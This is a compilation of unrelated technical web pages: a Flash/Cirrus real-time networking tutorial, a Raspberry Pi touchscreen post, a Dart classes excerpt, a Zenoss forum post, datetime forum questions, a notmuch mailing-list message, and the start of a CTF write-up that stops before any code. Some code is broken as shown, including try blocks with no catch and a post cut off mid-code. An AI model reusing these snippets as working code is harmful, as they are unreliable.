package { import flash.events.AsyncErrorEvent; import flash.events.ErrorEvent; import flash.events.EventDispatcher; import flash.events.IOErrorEvent; import flash.events.NetStatusEvent; import flash.events.SecurityErrorEvent; import flash.net.NetConnection; import flash.net.NetStream; public class Cirrus { private static var netConnection:NetConnection; public function get nc():NetConnection { return netConnection; } //Connect to the cirrus service, or if the netConnection object is not null //assume we are already connected public static function Init(key:String):void { if( netConnection != null ) return; netConnection = new NetConnection(); try { netConnection.connect("rtmfp://p2p.rtmfp.net", key); } catch(e:Error) { //Can't connect for security reasons, no point retrying. } } public function Cirrus(key:String, iCirrus:ICirrus) { Init(key); this.iCirrus = iCirrus; netConnection.addEventListener(AsyncErrorEvent.ASYNC_ERROR, OnError); netConnection.addEventListener(IOErrorEvent.IO_ERROR, OnError); netConnection.addEventListener(SecurityErrorEvent.SECURITY_ERROR, OnError) netConnection.addEventListener(NetStatusEvent.NET_STATUS, OnStatus); if( netConnection.connected ) { netConnection.dispatchEvent(new NetStatusEvent(NetStatusEvent.NET_STATUS, false, false, {code:"NetConnection.Connect.Success"})); } } private var iCirrus:ICirrus; public var ns:NetStream = null; } }
We'll have one method to turn our Cirrus object into a publisher, and another to turn it into a sender:
public function Publish(name:String, wrapSendStream:NetStream = null):void { if( wrapSendStream != null ) ns = wrapSendStream; else { try { ns = new NetStream(netConnection, NetStream.DIRECT_CONNECTIONS); }; ns.publish(name, null); } public function Play(farId:String, name:String):void { try { ns = new NetStream(netConnection, farId); }; try { ns.play.apply(ns, [name]); } catch(e:Error) {} }
Finally, we need to pass along the events to the interface we created:
private function OnError(e:ErrorEvent):void { iCirrus.onError(e); } private function OnStatus(e:NetStatusEvent):void { iCirrus.onStatus(e); }
Step 6: Creating a Test Application
Consider the following scenario involving two Flash applications. The first app has a needle that steadily rotates around in a circle (like a hand on a clock face). On each frame of the app, the hand is rotated a little further, and also the new angle is sent across the internet to the receiving app. The receiving app has a needle, the angle of which is set purely from the latest message received from the sending app. Here's a question: Do both needles (the needle for the sending app and the needle for the receiving app) always point to the same position? If you answered 'yes', I highly recommend you read on.
Let's build it and see. We'll draw a simple needle as a line eminating from the origin (coordinates (0,0)). This way, whenever we set the shape's rotation property the needle will always rotate as if one end is fixed, and also we can easily position the shape by where the centre of rotation should be:
private function CreateNeedle(x:Number, y:Number, length:Number, col:uint, alpha:Number):Shape { var shape:Shape = new Shape(); shape.graphics.lineStyle(2, col, alpha); shape.graphics.moveTo(0, 0); shape.graphics.lineTo(0, -length); //draw pointing upwards shape.graphics.lineStyle(); shape.x = x; shape.y = y; return shape; }
It's inconvenient to have to set up two computers next to each other so on the receiver we'll actually use two needles. The first (red needle) will act just as in the description above, setting its angle purely from the latest message received; the second (blue needle) will get its initial position from the first rotation message received, but then rotate automatically over time with no further messages, just like the sending needle does. This way, we can see any discrepancy between where the needle should be and where the received rotation messages say it should be, all by starting both apps and then only viewing the receiving app.
private var first:Boolean = true; //Called by the receiving netstream when a message is sent public function Data(value:Number):void { shapeNeedleB.rotation = value; if( first ) { shapeNeedleA.rotation = value; first = false; } } private var dateLast:Date = null; private function OnEnterFrame(e:Event):void { if( dateLast == null ) dateLast = new Date(); //Work out the amount of time elapsed since the last frame. var dateNow:Date = new Date(); var s:Number = (dateNow.time - dateLast.time) / 1000; dateLast = dateNow; //Needle A is always advanced on each frame. //But if there is a receiving stream attached, //also transmit the value of the rotation. shapeNeedleA.rotation += 360 * (s/4); if( cirrus.ns.peerStreams.length != 0 ) cirrus.ns.send("Data", shapeNeedleA.rotation); }
We'll have a text field on the app that allows the user to enter a farID to connect to. If the app is started without entering a farID it will set itself up as a publisher. That pretty much covers creating the app you see at the top of the page. If you open two browser windows you can copy the id from one window to the other, and set one app to subscribe to the other. It will actually work for any two computers connected to the Internet - but you'll need some way of copying over the nearID of the subscriber.
Step 7: Putting a Spanner In the Works
If you run both the sender and receiver on the same computer the rotation information for the needle doesn't have far to travel. In fact, the data packets sent out from the sender don't even have to touch the local network at all because they are destined for the same machine. In real-world conditions the data has to to make many hops from computer to computer and with each hop introduced, the likelihood of problems increase.
Latency is one such problem. The further the data physically has to travel, the longer it will take to arrive. For a computer based in London, data will take less time to arrive from New York (a quarter of the way around the globe) than from Sydney (half way around the globe). Network congestion is also a problem. When a device on the Internet is operating at saturation point and is asked to transfer yet another packet, it can do nothing but discard it. Software using the internet must then detect the lost packet and ask the sender for another copy, all of which adds lag into the system. Depending on each end of the connection's location in the world, time of day, and available bandwidth the quality of the connection will vary widely.
So how do you hope to test for all these different scenarios? The only practical answer is not to go out and try and find all these different conditions, but to re-create a given condition as required. This can be achieved using something called a 'WAN emulator'.
A WAN (Wide Area Network) emulator is software that interferes with the network traffic travelling to and from the machine it's running on, in such a way as to attempt to recreate different network conditions. For example, by simply discarding network packets transmitted from a machine, it can emulate the packet loss that might occur at some stage in the real-world transmission of the data. By delaying packets by some amount before they are sent on by the network card, it can simulate various levels of latency.
There are various WAN emulators, for various platforms (Windows, Mac, Linux), all licensed in various ways. For the rest of this article I'm going to use the Softperfect Connection Emulator for Windows for two reasons: it's easy to use, and it has a free trial.
(The author and Tuts+ are in no way affiliated with the product mentioned. Use at your own risk.)
Once your WAN Emulator is installed and running, you can easily test it by downloading some kind of stream (such as Internet radio, or streaming video) and gradually increasing the amount of packet loss. Inevitably the playback will stall once the packet loss reaches some critical value which depends on your bandwidth and the size of the stream.
Oh, and please note the following points:
- If both the sending and receiving apps are on the same computer the connection will work just fine, but the WAN Emulator will not be able to affect the packets sent between them. This is because (on Windows at least) packets destined for the same computer are not sent to the network device. A sender and receiver on the same local network works fine, however - plus you can copy the nearID to a text file so you don't have to write it down.
- These days, when a broswer window is minimized, the browser artificially reduces the framerate of the SWF. Keep the browser window visible on screen for consistent results.
SoftPerfect emulator showing packet loss
In the normal state you will see the red and blue needles point to pretty much the same position, perhaps with the red needle occasionally flickering as it falls behind, then suddenly catching up again. Now if you set your WAN emulator to 2% packet loss you will see the effect become much more pronounced: roughly every second or so you will see the same flicker. This is literally what happens when the packet carrying the rotation information is lost: the red needle just sits and waits for the next packet. Imagine how it would look if the app wasn't transferring the needle rotation, but the position of some other player in a multiplayer game - the character would stutter every time it moved to a new position.
In adverse conditions you may expect (and therefore should design for) up to 10% packet loss. Try this with your WAN Emulator and you might catch a glimpse of a second phenomenon. Clearly the stuttering effect is more pronounced - but if you look closely, you'll notice that when the needle falls a long way behind, it doesn't actually snap back to the correct position but has to quickly 'wind' forwards again.
In the game example this is undesirable for two reasons. First, it's going to look odd to see a character not just stuttering but then positively zooming towards its intended position. Second, if all we want to see is a player character at its current position then we don't care about all those intermeditate positions: we only want the most recent position when the packet is lost and then retransmitted. All information except the most recent is a waste of time and bandwidth.
SoftPerfect emulator showing latency
Set your packet loss back to zero and we'll look at latency. It's unlikely that in real-world conditions you'll ever get better then about 30ms latency so set your WAN Emulator for that. When you activate the emulation you'll notice the needle drop back quite some way as each endpoint reconfigures itself to the new network speed. Then, the needle will catch up again until it is consistently some distance behind where it should be. In fact the two needles will look rock solid: just slightly apart from each other as they rotate. By setting different amounts of latency, 30ms, 60ms, 90ms, you can practically control how far apart the needles are.
Image the computer game again with the player character always some distance behind where they should be. Every time you aim at the player and take a shot you will miss, because every time you line up the shot you're looking at where the player used to be, and not where they are now. The worse the latency, the more apparent the problem. Players with poor internet connections could be, for all purposes, invulnerable!
Step 8: Reliability
There aren't many quick fixes in life so it's a pleasure to relate the following one. When we looked at packet loss we saw how the needle would noticably wind forwards as it caught up to its intended rotation after a loss of information. The reason for this is that behind the scenes each packet sent had a serial number associated with it that indicated its order.
In other words, if the sender were to send out 4 packets...
A, B, C, D
And if one, lets say 'B' is lost in transmission so that the receiver gets...
A, C, D
...the receiving stream can pass 'A' immediately to the app, but then has to inform the sender about this missing packet, wait for it to be received again, then pass 're-transmitted copy of B', 'C', 'D'. The advantage of this system is that messages will always be received in the order they were sent, and that any missing information is filled in automatically. The disadvantage is that the loss of a single packet causes relatively large delays in the transmission.
In the computer game example discussed (where we are updating the player character's position in real time), despite not actually wanting to lose information, it's better to just wait for the next packet to come along than to take the time to tell the sender and wait for re-transmission. By the time packet 'B' arrives it will already have been superseded by packets 'C', and 'D', and the data it contains will be stale.
As of Flash Player 10.1, a property was added to the NetStream class to control just this kind of behaviour. It is used like this:
public function SetRealtime(ns:NetStream):void { ns.dataReliable = false; ns.bufferTime = 0; }
Specifically it's the
dataReliable property that was added, but for technical reasons it should always be used in conjunction with setting the
bufferTime property to zero. If you alter the code to set the sending and receiving streams in this way and run another test on packet loss, you will notice the winding effect disappears.
Step 9: Interpolation
That's a start, but it still leaves a very jittery needle. The problem is that the position of the receiving needle is entirely at the mercy of the messages received. At even 10% packet loss the vast majority of information is still being received, yet because graphically the app depends so much on a smooth and regular flow of messages, any slight discrepancy shows up immediately.
We know how the rotation should look; why not just 'fill in' the missing information to wallpaper over the cracks? We'll start with a class like the following that has two methods, one for updating with the most current rotation, one for reading off the current rotation:
public class Msg { public function Write(value:Number, date:Date):void { } public function Read():Number { } }
Now the process has been 'decoupled'. Every frame we can call the
Read() method and update the shape's rotation. As and when new messages come in we can call the
Write() method to update the class with the latest information. We'll also adjust the app so that it receives not just the rotation but the time the rotation was sent.
The process of filling in missing values from known ones is called interpolation. Interpolation is a large subject that takes many forms, so we will deal with a subset called Linear Interpolation, or 'Lerping'. Programatically it looks like this:
public function Lerp(a:Number, b:Number, x:Number):Number { return a + ((b - a) * x); }
A and B are any two values; X is usually a value between zero and one. If X is zero, the method returns A. If X is one, the method returns B. For fractional values between zero and one, the method returns values part way between A and B - so an X value of 0.25 returns a value 25% of the way from A to B.
In other words, if at 1:00pm O've driven 5 miles, and at 2:00pm i've driven 60 miles, then at 1:30pm I've driven
Lerp(5, 60, 0.5) miles. As it happens I may have sped up, slowed down, and waited in traffic at various parts of the journey, but the interpolation function can't account for that as it only has two values to work from. Therefore the result is a linear approximation and not an exact answer.
//Hold 2 recent values to interpolate from. private var valueA:Number = NaN; private var valueB:Number = NaN; //And the instances in time that the values refer to. private var secA:Number = NaN; private var secB:Number = NaN; public function Write(value:Number, date:Date):void { var secC:Number = date.time / 1000.0; //If the new value is reasonably distant from the last //then set a as b, and b as the new value. if( isNaN(secB) || secC -secB > 0.1) { valueA = valueB; secA = secB; valueB = value; secB = secC; } } public function Read():Number { if( isNaN(valueA) ) return valueB; var secC:Number = new Date().time / 1000.0; var x:Number = (secC-secA) / (secB-secA); return Lerp(valueA, valueB, x); }
Step 10: So Near and Yet So Far
If you implement the code above you'll notice that it almost works correctly but seems to have some sort of glitch - every time the needle does one rotation it appears to then suddenly snap back in the opposite direction. Did we miss something? The documentation for the rotation property of the
DisplayObject class reveals the following:.
That was naive - we assumed a single number line from which we could pick any two points and interpolate. Instead we're dealing not with a line but with a circle of values. If we go past +180, we wrap around again to -180. That's why the needle was behaving strangely. We still need to interpolate, but we need a form of interpolation that can wrap correctly around a circle.
Imagine looking at two separate images of somebody riding a bike. In the first image the pedals are positioned towards the top of the bike; in the second image the pedals are positioned towards the front of the bike. From just these two images and with no additional knowledge it's not possible to work out whether the rider is pedalling forwards or backwards. The pedals could have advanced a quarter of a circle forwards, or three-quarters of a circle backwards. As it happens, in the app we've built, the needles are always 'pedalling' forwards, but we'd like to code for the general case.
The standard way to resolve this is to assume that the shortest distance around the circle is the correct direction and also hope that updates come in fast enough so that there is less than half a circle's difference between each update. You may have had the experience playing a multiplayer driving game where another player's car has momentarily rotated in a seemingly impossible way - that's the reason why.
var min:Number = -180; var max:Number = +180; //We can 'add' or 'subtract' our way around the circle //giving two different measures of distance var difAdd:Number = (b > a)? b-a : (max-a) + (b-min); var difSub:Number = (b < a)? a-b : (a-min) + (max-b);
If 'difAdd' is smaller than 'difSub', we will start at 'a', and add to it a linear interpolation of the amount X. If 'difSub' is the lesser distance, we will start at 'a' and subtract from it a linear interpolation of the amount X. Potentially that might give a value which is out of the 'min' and 'max' range, so we will use some modular arithmetic to get a value which is back in range again. The full set of calculations looks like this:
//A function that gives a similar result to the % //mod operator, but for float value. public function Mod(val:Number, div:Number):Number { return (val - Math.floor(val / div) * div); } //Ensures that values out of the min/max range //wrap correctly back in range public function Circle(val:Number, min:Number, max:Number):Number { return Mod(val - min, (max-min) ) + min; } //Performs a circular interpolation of A and B by the factor X, //wrapping at extremes min/max public function CLerp(a:Number, b:Number, x:Number, min:Number, max:Number):Number { var difAdd:Number = (b > a)? b-a : (max-a) + (b-min); var difSub:Number = (b < a)? a-b : (a-min) + (max-b); return (difAdd < difSub)? Circle( a + (difAdd*x), min, max) : Circle( a - (difSub*x), min, max); }
If you add this to the code and re-test, you should find the receiver's needle actually looks pretty smooth under a variety of network conditions. The source code attached to this tutorial has several constants which can be changed to re-compile with various combinations of the features we have discussed.
Conclusion
We began by looking at how to create a Cirrus connection and then set up NetStreams between clients. This was wrapped up into a resusable class that we could test with and expand on. We created an application and examined its performance under different networking conditions using a utility, then looked at techniques to improve the experience for the application user. Finally we discovered that we have to apply these techniques with care and with an understanding of what underlying data the app is representing.
I hope this has given you a basic grounding in building real time applications and that you now feel you are equipped to face the issues involved. Good luck!
Envato Tuts+ tutorials are translated into other languages by our community members—you can be involved too!Translate this post
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https://code.tutsplus.com/tutorials/building-real-time-web-applications-with-adobe-cirrus--active-10655
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In this project, I’m making a Tablet PC with a Raspberry Pi with Raspbian and a LCD Touchscreen display. I bought a LCD Touchscreen from chalkboard electronics.
Before designing the tablet, I had to set up the touchscreen. The biggest problem that I had was the power output of Raspberry Pi’s USB was smaller than the power needed from the touchscreen. These are the steps that I went through.
- Change power source of the touchscreenAt first, I changed power source of the touchscreen, because I wanted my tablet to have one power source(battery). Therefore I have to use a battery for the Raspberry Pi, and power the touchscreen through Raspberry Pi’s USB. To change the power source, you can look up this link.
You need to de-solder and solder to change the power source of this Touchscreen. So if you don’t have soldering tool, then I recommend you to use different product.
- Lower the brightness of the touchscreen
I said, Raspberry Pi’s USB output current is <500mA. And the Touchscreen’s default current is 1.2A. I can lower the consuming current of the touchscreen by decreasing brightness of touchscreen’s backlight. If you see their webpage, they provide method to decrease back-light brightness(link). But if you have problem with that method, there is another option. Actually, I had problem with using HIDAPI, which they recommended. So I used different method.Basically what they are doing is sending hex code to HID device. You can do same thing with Pyusb with python.
This is simple python script that I used.
import usb.core import sys dev = usb.core.find(idVendor=0x04d8,idProduct=0xf724) # was it found? if dev is None: sys.exit("Device Not Found") #raise ValueError('Device not found') # set the active configuration. With no arguments, the first # configuration will be the active one dev.set_configuration() # get an endpoint instance cfg = dev.get_active_configuration() intf = cfg[(0,0)] out_ep = usb.util.find_descriptor( intf, # match the first OUT endpoint custom_match = \ lambda e: \ usb.util.endpoint_direction(e.bEndpointAddress) == \ usb.util.ENDPOINT_OUT) in_ep = usb.util.find_descriptor( intf, # match the first OUT endpoint custom_match = \ lambda e: \ usb.util.endpoint_direction(e.bEndpointAddress) == \ usb.util.ENDPOINT_IN) assert out_ep is not None assert in_ep is not None # write the data data = '\x00\x20\x0A ' #Report ID(0), Command, Backlight value out_ep.write(data) ret = in_ep.read(in_ep.wMaxPacketSize)
This code sets the brightness of backlight to 10. More detail protocol is in the webpage.
- Change setting of the Raspberry PiEven though you go through previous steps, you can’t use touchscreen. If you plug HDMI and USB cable and power the Raspberry Pi, nothing shows up in the display. Still, you can see the backlight is on. When you power the touchscreen at the booting time, it works fine.
I spent a lot of time to solve this issue. I couldn’t find out exact reason for this issue. But I guess Raspberry Pi’s USB turns on little late, so touchscreen can’t be turned on the booting time. As a result, Raspberry Pi can’t recognize the touchscreen.So I change HDIM configuration. You can change HDMI settings in ‘/boot/config.txt’. I added below options in the file.
hdmi_force_hotplug=1 #Use HDMI mode even if no HDMI monitor is detected hdmi_group=1 #Depends on the display's resolution hdmi_mode=39 #Depends on the display's resolution
This options forces the Raspberry Pi to use HDMI with specific resolution. If you don’t set the resolution(hdmi_group, hdmi_mode), then the display output breaks. More detail explanation of config.txt is in this link.
So finally I powered the touchscreen with the Raspberry Pi.
In the video, you can see that the screen is unstable. I think that is due to unstable USB power during booting.
7 thoughts on “[Making a Raspberry Pi Tablet] Part 1. Touchscreen Setting”
i use touchscreen with usb power on the raspberry. I use a hub-usb 2 ports with alimentation. One port is take by the touchscreen and the second on the raspberry power. the usb management is on my usb raspberry. the hub-usb power is on my external battery 2,1A/5V 10000ma.
it’s work perfectly.
Yes. I think your method works fine, too. But I though it would be more simple without extra usb hub. But I’m actually thinking of using usb power hub, because brightness is too dark.
You can also put max_USB_current=1 in /boot/config.txt for extender USB power to 1,2A. I wait raspberry 3 for à best USB power
Yeah, I can change the USB max current setting. But, as I know, that current configuration is for 4 USB combined(). But, still I think I’ll try that setting and test for the brightness change.
And I have a question. Is their any saying that Raspberry Pi 3 will support higher USB power? If it is true, then I might wait for that.
I will say you when i have rpi3 i’m waiting delivery
Hello, raspberry pi 3 isn’t more power. I think it was 1,2a for all usb and ethernet without usb_max_current option. I tested the screen on my pi3 and 10 minutes after power screen power off and power on and power off etc…. Since my test my screen is broken 😦 .
Thanks for useful information. It is too bad that your screen is broken…
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https://404warehouse.net/2016/02/20/making-raspberry-pi-tablet-part-1-touchscreen-setting/
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Classes
Classes expose functionality on how to construct a new instance of a requested object type, functionality to expose methods and data, and functionality that encapsulates variables to track object state within its scope.
Every object in Dart is an instance of a class. You’ve been using Dart’s built-in classes throughout this book. Some built-in classes that you’ve worked with so far are Map, String, and List.
Custom Classes
Dart supports single inheritance, meaning that if no superclass is defined, the superclass will default to class Object. Classes allow you to construct your own objects in a declarative fashion. Let’s create your first class:
EXAMPLE 4.5
class Airplane { String color = "Silver"; String wing = "Triangle"; int seatCount = 2; double fuel = 100.50; } main() { Airplane yourPlane = new Airplane(); Airplane myPlane = new Airplane(); print(myPlane.wing); //prints " Triangle " print(myPlane.seatCount); //prints "2" yourPlane.seatCount = 1; print(yourPlane.seatCount); //prints "1" }
Example 4.5 accomplished two things. First it defined a class named Airplane with some public fields. Next, in the main() function, it instantiated two new object instances of class type Airplane named yourPlane and myPlane.
Upon instantiation, the field values of color, fuel, seatCount, and wing for both yourPlane and myPlane have matching field values. This is because their field values are assigned default values, and both are created from the class Airplane.
The Airplane class exposes seatCount as a public integer, so you are able to modify the seatCount value by using dot notation to access yourPlane.seatCount. All public class fields can be accessed using the dot syntax.
Why did you modify the seatCount? Well, to make the plane lighter of course! Let’s add a method that will return the weight of the plane (Example 4.6).
EXAMPLE 4.6
class Airplane { String primaryColor = "Silver"; String wing = "Triangle"; int seatCount = 2; double fuelCapacity = 100.50; double getWeight() { return 1000 + seatCount + fuelCapacity; } } main() { Airplane yourPlane = new Airplane(); Airplane myPlane = new Airplane(); yourPlane.seatCount = 1; print( 'yourplane weight:'+ yourPlane.getWeight().toString() ); print( 'myplane weight: '+ myPlane.getWeight().toString() ); } //Output: //yourplane weight: 1101.5 //myplane weight: 1102.5
Inferred Namespace
Namespaces are not a language feature in Dart, but the concept exists. A namespace is an area in your program where a named identifier can be called with only the unique name, and no prefix, to access an object. Conceptually, in Dart, a namespace is the sum of all the inherited scopes.
The “Lexical Scope” section talked about how curly brackets delineate scope hierarchies. The combined output of these inherited scopes creates the active namespace.
If you look at the class statement, you’ll notice that all the Airplane fields are wrapped inside a new class scope named Airplane.
class Airplane { //declaration //declaration //declaration //declaration }
When you instantiate a new class, you create a new instance of the superclass Object, and declare additional class fields by wrapping them in the class’s top-level scope. The new fields are directly accessible by their named identifiers within the namespace of the class instance.
The caller in Example 4.6, main(), instantiates a new class instance and assigns it to local variable yourPlane. The variable’s named identifier has access to all the fields in the namespace of class Airplane. The main() function calls the print() function with an argument that calls yourPlane.getWeight(). When getWeight() executes, its function block is operating within the namespace delineated by class Airplane.
class Airplane { ... ... double getWeight() { // inherits Airplane class scope and appends // its new local function scope } }
In Chapter 5, you will see how to use libraries to control namespaces using the keywords show, hide, as, part, and part of.
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Aug 4, 2011
Dec 6, 2011 8:20 PM
Anyone else having on-going issues with Zenoss or am I missing something?
Greetings!!
I'm fairly new to using Zenoss, and am wondering (hoping) that I missed some small minor detail. I have been working with Zenoss for a good 5 months, now and just can't seem to iron out the basic features. I have tried to follow instructions from forums (Zenoss and others) and official documentation, but usually find that directions do not match with what I see in the GUI or have no specifications as to whether I make the changes from the console, GUI, or what. I have downloaded the correct documentation using links from Zenoss GUI.
Our On-going Issues:
hm...not sure where to start. I'm hoping the below makes sense as I will do a brain dump...
- incorrect filesystem size reporting (found solution on several forums, issue not resolved)
- have to modify snmp configs on all linux servers to report proper capacity of NIC (what are we supposed to do with our NAS's that do not allow for snmp custom config modifications?)
- inaccurate, non-human number reporting for network traffic (found solution, partially working?)
- inaccurate(?) CPU utilization
- sporadic errors with little or no meaningful details
Our setup:
OS: Ubuntu 11.04 Linux 2.6.38-8-server
Zenoss: 3.0 core
zenoss-stack: 3.1.0-0
Incorrect FileSystem Reporting:
Our FileSystems report incorrect sizes. I have read and understand the 5% variance on Linux systems. At one point the numbers were WAY off, now seem to be a little off which I can live with. Once after I cleared the "event cache" and "all heart beats" all FileSystem values were being reported as zero (except for "total bytes"). A reboot solved this issue. After that reboot plus a couple of days we started receiving this warning:
/Perf/Filesystem threshold of high disk usage exceeded: current value 1193927.00 Filesystem threshold exceeded: 892.6% used (-1.01 GB free)
I understand (to some extent) the above error, but why now all of a sudden when the FileSystem had this usage for a while now.
So far, I have modified our FileSystem settings as follows (not sure what terminology I should even use):
1. Add a new zProperty
click: Properties (tab)
Add: Name: zFileSystemSizeOffset, Type: float, Value: 1.0 click "add"
2. Create a transform rule for FileSystem Events
for f in device.os.filesystems():
if f.name() != evt.component: continue
# Extract the percent and free from the summary
import re
m = re.search("threshold of [^:]+: current value ([\d\.]+)", evt.message)
if not m: continue
usedBlocks = float(m.groups()[0])
totalBlocks = f.totalBlocks * getattr(device, "zFileSystemSizeOffset", 1)
p = (usedBlocks / totalBlocks) * 100
freeAmtGB = ((totalBlocks - usedBlocks) * f.blockSize) / 1073741824
# Make a nicer summary
evt.summary = "Filesystem threshold exceeded: %3.1f%% used (%3.2f GB free)" % (p,freeAmtGB)
break
3. Change Threshold
double-click: define threshold
change value to:
+ (here.totalBlocks * here.zFileSystemSizeOffset ) * .90
4. Go back and modify the zProperty properties
-set zFileSystemSizeOffset: 0.95
Incorrect Bandwidth Reporting:
For every Linux server add the below to the snmp config settings locally to address Zenoss misreading Gbps as Mbps:
override ifSpeed.1 uinteger 1000000000
override ifSpeed.2 uinteger 1000000000
Then on Zenoss:
modify transforms:
import re
fs_id = device.prepId(evt.component)
for f in device.os.interfaces():
if f.id != fs_id: continue
# Extract the percent and utilization from the summary
m = re.search("threshold of [^:]+: current value ([\d\.]+)", evt.message)
if not m: continue
currentusage = (float(m.group(1))) * 8
p = (currentusage / f.speed) * 100
evtKey = evt.eventKey
# Whether Input or Output Traffic
# if evtKey == "ifInOctets_ifInOctets|high utilization":
if evtKey == "ifHCInOctets_ifHCInOctets|high utilization":
evtNewKey = "Input"
# elif evtKey == "ifOutOctets_ifOutOctets|high utilization":
elif evtKey == "ifHCOutOctets_ifHCOutOctets|high utilization":
evtNewKey = "Output"
# Mbps utilization
Usage = currentusage / 1000000
evt.summary = "High " + evtNewKey + " Utilization: Currently (%3.2f Mbps) or %3.2f%% is being used." % (Usage, p)
break
Modify "high utilization":
(here.speed or 1e9) / 8 * .1
Inaccurate Non-human Legible CPU Read-outs:
We have same issues with CPU read outs. I won't bother pasting the modifications for that here unless asked for.
New MySQL Error:
As of yesterday, this new warning started:
"|mysql|/Status/IpService||5|IP Service mysql is down" - the only change was the installation of PostgreSQL and restarting of the SNMP daemon.
I have spent countless hours so far in trying to get Zenoss to report properly or at least in a manner that is at least somewhat useful. Is it normal to spend quite some time customizing each new monitored host? I can understand the filesystem issue which is inherent to Linux systems, but what about the network band width? My modifications are pretty easy to do on Linux systems but what about our NAS and other network devices that need to be added? Is it expected to modify each CPU entry as well? It seems a bit odd that so much customization needs to be done.
I read great reviews about Zenoss, and wouldn't mind getting it to work for us. I'm sure I missed something. Is anyone able to shed some light on this? Does anyone else have these issues? I would really like to continue using Zenoss instead of switching to another monitoring application.
Your insights are greatly appreciated!!
Thanks in advance.
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http://community.zenoss.org/message/63207
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I have a problem about convert a string to datetime.
in my database i have table with canceldate column.
that column have a empty row (like ' but not null ) and string (like '01-12-2004').
when i run query this message was show "The conversion of a nvarchar data type to a datetime data type resulted in an out-of-range value."
if i use this query "convert(datetime,canceldate,105)" the empty row was convert to 1900-01-01 00:00:00.000.
i want convert that coloumn without change value of empty row.
any idea?
Thanks
Surbakti
Hi,
A texbox which sets a date (MM/dd/yyyy) format and I want to add current time(HHmmss) to that date and assign this to a DateTime variable. At the end output format should be in yyyyMMddHHmmss and this should be in DateTime fied.
Is it possible? I tried as below but never succeeded. Could you please help me to resolve this!!
DateTime date =
Convert.ToDateTime(TextBox1.Text);
TimeSpan time =
new
TimeSpan(23, 50, 0);
date = date.Add(time);
I wanted to share this more than anything, it took me most of the morning searching and finding various post on various sites but I got it figured out and working. It might be better coded, but it is a start for some one trying to understand how linq and ASP.Net things work.
What I have is a database table with a datetime in string format and a stored procedure which returns all the data.What I want to do is load a dropdown list with MonthName and Year for a selection choice on generating monthly report.
The stored procedure is in a Linq to SQL class dbml and the connection string is dynamic, i.e., made througha call to another class.
here is the code. Enjoy understanding how it works.
// Miscellaneous Details are filled in for helping you get the big picture.
// Some of the using statements are for other things in the code behind,
// but I left it in so don't get confused,
using System;
using System.Collections.Generic;
using System.Linq;
using System.Collections.ObjectModel;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.Security;
using MYProject.LinqtoSQLStuff;
namespace MYProject.ChooseReportPage
{
public partial class TheReportPage : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs.
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http://www.dotnetspark.com/links/49335-convert-string--to-datetime.aspx
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also sprach Asheesh Laroia <ashe...@asheesh.org> [2010.01.25.1819 +1300]: > You say "Ouch" but you should know Dovecot *already* does this. I > don't mind interoperating with that. > > See, section "Issues > with the specification", subsection "Locking". I term this theQ > famous readdir() race.
Yikes. IMAP (including dovecot) just SUCKS. > Without this lock, Maildir is fundamentally incompatible with IMAP > -- one Maildir-using process modifying message flags could make > a different Maildir-using process think said message is actually > deleted. In the case of temporary disappearing mails in Mutt > locally, that's not the end of the world. For IMAP, it will make > the IMAP daemon (one of the Maildir-using processes) send a note > to IMAP clients saying that the message has been deleted and > expunged. […] > Just don't fall into the trap of thinking Maildir is compatible > with IMAP. It's not, because as I understand things, the > filesystem doesn't guarantee that you can actually iterate across > a directory's files if another process is modifying the list of > files. This is all perfect reason to concentrate even more on designing a store that could potentially make IMAP obsolete once and for all! The current idea is to sync Git downstream only, and find a way to keep multiple copies of a tagstore in sync, by way of the "server instance" (where mail is received/delivered). Deleting messages would then be something like setting the notmuch::deleted tag, which clients would honour; on the server, a cleanup process would run regularly to actually delete the blobs associated with deleted messages. This would then propogate the next time one pulls from Git. Whether to store history (commit objects) or just collections (tree objects) needs to be investigated. > >But there are still good reasons why you'd want to have IMAP > >capability too, e.g. Webmail. Given the atomicity problems that > >come from Git, maybe an IMAP server reading from the Git store > >would make sense. > > It wouldn't be too hard to write a FUSE filesystem that presented > an interface to a Git repository that didn't allow the contents of > files to be modified. Then Dovecot could think it's interacting > with the filesystem. Yes, a FUSE layer (which adds a daemon), or a lightweight access API via libnotmuch. Probably the former using the latter. ;) > Aww, I like Maildir flags, but if there's a sync tool, I'm fine > with that. […] > I'm not sure, but maybe it's safe if you refuse to ever modify > a message's flags in the filename. The main point is that there is nothing really in Maildir filenames that you couldn't equally (and possibly better) represent in the notmuch::* tag namespace, and then there is benefit in only having one used primarily (which means notmuchsync can do whatever it wants without affecting or messing with notmuch). -- martin | | "if I can't dance, i don't want to be part of your revolution." - emma goldman spamtraps: madduck.bo...@madduck.net
digital_signature_gpg.asc
Description: Digital signature (see)
_______________________________________________ notmuch mailing list notmuch@notmuchmail.org
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Note: For more information on this series of posts and the CTF exercise, please read the Background section of the first post in this series.
Level 05
Okay, we’re getting closer the elusive flag. Just two levels left. Let’s see how we might be able to obtain the level06 credentials. Login as level05 and take a peek at the /levels directory.
Note: You’ll notice that the file attributes for level05 are different than they appeared in previous posts. This was because I didn’t look closely at all of the binaries for each level when I initially set up the server. So when I reached level05, even though I had the suid bit set on the “binary”, it is actually a python script thus the python interpreter won’t actually recognize the suid permisions. Thus I went ahead and changed the script to be strictly owned and group owned by level06, and then initiated the server and worker processes as the level06 user from the server side.
This challenge took me by surprise. I really enjoy python, but I’m not programming in it every day, so when I took my first glance I was a little nervous as no obvious vulnerabilities were popping out at me. This is common in the security analysis field and like any problem in life, it’s best to start from the beginning and be methodical about what to do next. Here is the code, it’s rather long, so if you’d like to walk through it, click the filename to expand the section.
